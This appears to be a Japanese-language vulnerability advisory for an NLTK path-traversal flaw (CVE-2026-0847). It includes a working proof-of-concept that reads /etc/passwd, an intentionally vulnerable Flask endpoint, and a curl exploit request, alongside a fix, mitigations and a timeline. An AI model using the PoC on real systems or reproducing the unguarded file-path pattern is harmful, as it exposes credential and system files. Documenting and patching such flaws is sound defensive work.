
NLTK のバージョン 3.9.2 以前に存在する脆弱性により、WordListCorpusReader、TaggedCorpusReader、BracketParseCorpusReader を含む複数の CorpusReader クラスにおいて、パストラバーサルを介した任意のファイル読み取りが可能になります。
| フィールド | 詳細 |
|---|
| CVE ID | CVE-2026-0847 |
| パッケージ | nltk(Natural Language Toolkit) |
| レジストリ | PyPI |
| 影響を受けるバージョン | <= 3.9.2 |
| 脆弱性の種類 | CWE-22: パストラバーサル |
| CVSS スコア | 8.6(高) |
| 攻撃元区分 | ネットワーク |
| 攻撃条件の複雑さ | 低 |
| 必要な権限レベル | 不要 |
| ユーザー操作 | 不要 |
| 機密性への影響 | 高 |
| 完全性への影響 | 低 |
| 可用性への影響 | 低 |
| 報告日 | 2025年12月4日 |
| CVE 公開日 | 2026年3月4日 |
| サポート元 | Palo Alto Networks / Prisma AIRS |
| ステータス | 修正済み |
NLTK ライブラリの複数の CorpusReader クラスは、パスの正規化、許可リストによる検証、サンドボックス制限を一切行わずにファイルパス引数を受け入れます。攻撃者がコーパスのファイル名やファイル入力を制御できる場合 — 機械学習 API、アップロード型 NLP パイプライン、チャットボットサービスでよく見られるシナリオ — 細工したパスを指定してディレクトリ階層をトラバースし、サーバー上の任意のファイルを読み取ることができます。
この脆弱性は、NLTK がユーザー制御のファイルパスを処理するネットワーク展開環境で特に重大です。悪用に認証や権限を必要としないためです。
| クラス | ファイル | ステータス |
|---|---|---|
WordListCorpusReader | wordlist.py L1–L120 | 脆弱 |
TaggedCorpusReader | tagged.py L1–L140 | 脆弱 |
BracketParseCorpusReader | bracket_parse.py L1–L150 | 脆弱 |
| 同じ基本パターンを使用する他のクラス | — | 広範な監査待ち |
3 つのクラスはすべて、同じ安全でない CorpusReader.open() メソッドを継承しています。このメソッドは、指定されたファイル識別子を解決して読み取る前にパス制限を一切行いません。
この脆弱性が悪用されると、以下の結果を招く可能性があります:
/etc/passwd、/etc/shadow、/var/log/auth.log など)を読み取ることができます~/.ssh/id_rsa)、.env ファイル、API トークン、クラウド認証情報ファイルが抽出される可能性がありますこの情報は教育および防御目的のみに提供されています。所有していないシステム、または明示的なテスト許可を得ていないシステムに対してテストを行わないでください。
# PoC.py — demonstrates arbitrary file read using three vulnerable CorpusReader classes
from nltk.corpus.reader import WordListCorpusReader, TaggedCorpusReader, BracketParseCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer
root = FileSystemPathPointer("/") # unrestricted filesystem root
target = "etc/passwd" # any sensitive file path
print("--- WordListCorpusReader ---")
reader1 = WordListCorpusReader(root, [target])
print(reader1.raw(target)[:200])
print("--- TaggedCorpusReader ---")
reader2 = TaggedCorpusReader(root, [target])
print(reader2.raw(target)[:200])
print("--- BracketParseCorpusReader ---")
reader3 = BracketParseCorpusReader(root, [target])
print(reader3.raw(target)[:200])
出力(抜粋):
--- WordListCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
--- TaggedCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
--- BracketParseCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
NLTK が HTTP API 経由で公開されている現実的なシナリオ:
# Vulnerable API server
from flask import Flask, request
from nltk.corpus.reader import WordListCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer
app = Flask(__name__)
root = FileSystemPathPointer("/")
@app.post("/read")
def read_file():
filename = request.json.get("file")
reader = WordListCorpusReader(root, [filename])
return reader.raw(filename)
app.run("0.0.0.0", 8000)
攻撃者によるリクエスト:
curl -X POST http://TARGET:8000/read \
-H "Content-Type: application/json" \
-d '{"file": "etc/passwd"}'
結果: 認証を一切必要とせずに、/etc/passwd の全内容が攻撃者に返されます。
この脆弱性は CorpusReader.open() に起因します。このメソッドは、指定された fileid を FileSystemPathPointer.join() を使用して設定されたルートパスに対して直接解決しますが、以下のチェックを一切行いません:
..)の検出FileSystemPathPointer は / で初期化できるため、filename 引数を制御する攻撃者はファイルシステム全体への無制限の読み取りアクセスを得ることができます。
研究者が提案した最小限の修正で、CorpusReader.open() 内に適用します:
import os
normalized = fileid.replace("\\", "/")
# Block absolute paths
if os.path.isabs(normalized):
raise ValueError("Absolute paths are not permitted.")
# Block directory traversal sequences
if ".." in normalized.split("/"):
raise ValueError("Path traversal sequences are not permitted.")
# Enforce confinement within corpus root
joined = self._root.join(normalized)
if not os.path.normpath(joined._path).startswith(
os.path.normpath(self._root._path)
):
raise ValueError("Path escapes the corpus root directory.")
修正 PR は以下で公開されています: https://github.com/nltk/nltk/pull/3479
| アクション | 詳細 |
|---|---|
| NLTK のアップグレード | 公式パッチがリリースされたら、3.9.2 より新しいバージョンに更新する |
| 入力検証 | NLTK の CorpusReader クラスに渡す前に、ユーザー指定のファイルパス値をすべてサニタイズおよび検証する |
| ユーザー制御パスの回避 | ユーザー入力が CorpusReader の fileids 引数を直接的または間接的に制御できないようにする |
| 最小権限 | NLTK ベースのサービスを、コーパスディレクトリのみに読み取りアクセスが制限された制限付き OS ユーザーアカウントで実行する |
| コンテナ化 | サービスを Docker コンテナまたは chroot 環境で分離し、トラバーサル成功時の影響範囲を限定する |
| Ubuntu パッチ | ディストリビューションレベルのパッケージ更新について Ubuntu セキュリティ勧告 を監視する |
pip によるアップグレード:
pip install --upgrade nltk
インストール済みバージョンの確認:
python -c "import nltk; print(nltk.__version__)"
| 日付 | イベント |
|---|---|
| 2025年12月4日 | 研究者 hyperps1 により huntr.dev に脆弱性が報告されました |
| 2025年12月 | huntr.dev 経由で NLTK メンテナーチームに通知されました |
| 2026年1月 | NLTK メンテナーが脆弱性を検証し、研究者に開示報奨金が授与されました |
| 2026年1月 | CVE-2026-0847 が割り当てられました |
| 2026年2月 | NLTK メンテナーに公開前 48 時間の通知が送信されました |
| 2026年3月4日 | CVE が NVD と huntr.dev で公開されました |
| 2026年3月5日 | NVD レコードが最終更新されました |
| リソース | リンク |
|---|---|
| NVD エントリ | https://nvd.nist.gov/vuln/detail/CVE-2026-0847 |
| Ubuntu セキュリティ勧告 | https://ubuntu.com/security/CVE-2026-0847 |
| 公式 CVE レコード | https://cve.org/CVERecord?id=CVE-2026-0847 |
| huntr.dev レポート | https://huntr.dev |
| 修正プルリクエスト | https://github.com/nltk/nltk/pull/3479 |
| PyPI の NLTK | https://pypi.org/project/nltk/ |
| OWASP パストラバーサル | https://owasp.org/www-community/attacks/Path_Traversal |
| CWE-22 | https://cwe.mitre.org/data/definitions/22.html |
このリポジトリは CVE-2026-0847 を、教育、研究、および防御的なセキュリティ目的のためだけに文書化したものです。概念実証コードと技術的詳細は、開発者、セキュリティエンジニア、システム管理者がこの脆弱性を理解、評価、および対策するのに役立つように提供されています。
明示的な許可なくシステムにアクセスするためにこの情報を使用することは、違法かつ非倫理的です。著者は、ここに含まれる情報の悪用について一切の責任を負いません。
貢献者 @mohitf070304